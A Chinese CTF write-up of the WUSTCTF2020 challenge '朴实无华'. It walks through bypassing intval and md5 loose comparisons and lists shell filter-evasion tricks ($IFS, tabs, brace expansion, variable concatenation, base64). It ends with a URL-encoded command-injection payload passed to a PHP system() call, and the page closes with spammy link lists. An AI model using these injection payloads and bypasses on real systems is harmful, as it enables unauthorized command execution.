当前位置: 首页 > news >正文

[WUSTCTF2020]朴实无华

线索:

1、tittle:浜洪棿鏋佷箰bot。感觉是解码错误。

2、Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:3) in /var/www/html/index.php on line 4   大致意思就是因为index.php中第四行代码已经向客户端输出内容(猜测就是输出那个“Hack me”),这时候响应头已经发送给客户端了,后面再有代码修改头信息,就会报这个错误。但是如何利用呢?

抓包、目录扫描一下,没找到线索。看答案吧...

居然有robots.txt,但是为什么用dirsearch扫描没有发现?

访问一下:

User-agent: *
Disallow: /fAke_f1agggg.php

访问一下 fAke_f1agggg.php:flag{this_is_not_flag}

抓包看看,发现响应头里有线索:look_at_me: /fl4g.php,访问一下:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);//level 1
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";}else{die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");}
}else{die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";elsedie("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{die("鍘婚潪娲插惂");
}//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";system($get_flag);}else{die("蹇埌闈炴床浜�");}
}else{die("鍘婚潪娲插惂");
}
?>
鍘婚潪娲插惂

level1:我记得之前学过这个知识,是在md5那一章节,好像用的是类型转换的技巧。我忘了...看了一眼答案,原来我想的没错,确实是利用科学计数法字符串转换成数字,但是我测试的时候并非如此:

不知道为什么,以后再说吧,先做这道题。

?num=1e4    成功绕过。

level2:md5弱比较

QLTHNDT QNKCDZO PJNPDWY NWWKITQ NOOPCJF MMHUWUV MAUXXQC 240610708 s878926199a s155964671a s214587387a 0e215962017 0e1284838308

以上所有字符串的md5值都以0e开头,这些md5值从字符串解析为数字时被当作科学计数法都会转换成0。但是:

这说明如果两边都是符合科学计数法格式的字符串,会被转换成数字比较,但若只有一侧符合科学计数法格式,仍然会当作字符串比较。因此这里我们只能使用 0e215962017、0e1284838308之类的字符串绕过。

?num=1e4&md5=QLTHNDT    失败。

?num=1e4&md5=0e215962017    成功绕过。

level 3: 利用system注入命令

strstr函数可用于在一个字符串里查找另一个字符串首次出现的位置,并且会返回从该位置开始到原字符串末尾的所有内容。

str_ireplace() 是一个用于字符串替换的内置函数,其功能与 str_replace() 类似,但不区分大小写

 因此注入的命令中不能有空格也不能有cat

  • 利用特殊环境变量:在 Linux 系统中,可利用$IFS环境变量来绕过空格,$IFS是内部字段分隔符,其默认值包含空格。可使用${IFS}$IFS$9等形式来代替空格,如cat${IFS}flag.txtls${IFS}$9-l
  • 使用制表符替代%09是制表符的 URL 编码,在一些情况下可用于替代空格,如cat%09flag.txt,相当于cat<Tab>flag.txt
  • 利用大括号:可以使用大括号将命令和参数分开,如{cat,flag.php},这种方式也能在一定程度上绕过对空格的限制。
  • 命令拼接:通过变量赋值来拼接命令,从而绕过空格限制。例如a=c;b=at;$a$b flag.txt,相当于执行cat flag.txt
  • 编码绕过:将包含空格的命令进行 Base64 编码或 HEX 编码等,然后再解码执行。如将cat flag.txt编码为echo Y2F0IGZsYWcudHh0 | base64 -d,通过解码后执行命令。

尝试:

 ?num=1e4&md5=0e215962017&get_flag=ls

得到flag位置为fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

num=1e4&md5=0e215962017&get_flag=a%3Dc%3Bb%3Dat%3B%24a%24b%24%7BIFS%7Dfllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag   得到flag

后面的内容是urlencode(a=c;b=at;$a$b${IFS}fll....)


文章转载自:
http://biocoenose.hnsdj.cn
http://bluffly.hnsdj.cn
http://adjutant.hnsdj.cn
http://benzotrichloride.hnsdj.cn
http://adoption.hnsdj.cn
http://birman.hnsdj.cn
http://brownnose.hnsdj.cn
http://arabella.hnsdj.cn
http://blackguard.hnsdj.cn
http://bus.hnsdj.cn
http://amortisement.hnsdj.cn
http://antigen.hnsdj.cn
http://arnoldian.hnsdj.cn
http://because.hnsdj.cn
http://barcarolle.hnsdj.cn
http://amend.hnsdj.cn
http://capillarimeter.hnsdj.cn
http://acrux.hnsdj.cn
http://anelastic.hnsdj.cn
http://angor.hnsdj.cn
http://bargee.hnsdj.cn
http://butterfingers.hnsdj.cn
http://appropriate.hnsdj.cn
http://californite.hnsdj.cn
http://carbamoyl.hnsdj.cn
http://chalcenteric.hnsdj.cn
http://celotex.hnsdj.cn
http://bubalis.hnsdj.cn
http://airometer.hnsdj.cn
http://cephalous.hnsdj.cn
http://www.dtcms.com/a/281094.html

相关文章:

  • Vue 3的核心机制-解析事件流、DOM更新、数据请求、DOM操作规范及组件库DOM操作的解决方案
  • 日记_7.14_实际开发的进步
  • 使用Spring Cloud LoadBalancer报错java.lang.IllegalStateException
  • Wordpress登录数据库连接失败的问题
  • Web攻防-PHP反序列化字符逃逸增多减少成员变量属性解析不敏感Wakeup绕过
  • 网络:TCP序列号和滑动窗口,顺序保证
  • 【R语言】警告conversion failure on ‘中文字符‘ in ‘mbcsToSbcs‘: for 注 (U+6CE8)
  • 枪机、支持POE、4G连接交换机实现多屏幕显示
  • 【郑大二年级信安小学期】Day12:编写渗透测试脚本搭建虚拟环境
  • 淘宝扭蛋机小程序开发:重构电商娱乐化体验的新范式
  • 不同系统记录项目进度不一致,如何统一口径
  • 【Linux系统】命令行参数和环境变量
  • gitee某个分支合并到gitlab目标分支
  • 微信小程序未登录状态下的导航拦截有哪些方法可以实现
  • AI大模型应用架构演进:从LLM基础到Agent协作的范式转移
  • GBase 8a 与 Spring Boot + MyBatis 整合实战:从环境搭建到CRUD操作
  • 扩展:操作系统之高性能网络计算
  • 使用 mongoimport 导入本地 JSON 文件到 MongoDB 及数据查看指南
  • 微信小程序入门实例_____从零开始 开发一个每天记账的微信小程序
  • Rust语言
  • Isaac Sim仿真赋能机器人工作流,推动具身智能在机器人领域研究
  • 深入解析:磁盘级文件与内存级(被打开)文件的本质区别与联系
  • MySQL锁机制与SQL优化详解
  • Vue 中 effectScope() 的全面解析与实战应用
  • 虚拟机删除操作
  • lanch4j将jar转成exe
  • 文心4.5开源背后的战略棋局:百度为何选择All in开放?
  • Django基础(二)———URL与映射
  • 10 款游戏设计工具深度解析,打造卓越游戏项目
  • 在Autodl服务器中使用VNC建立图形界面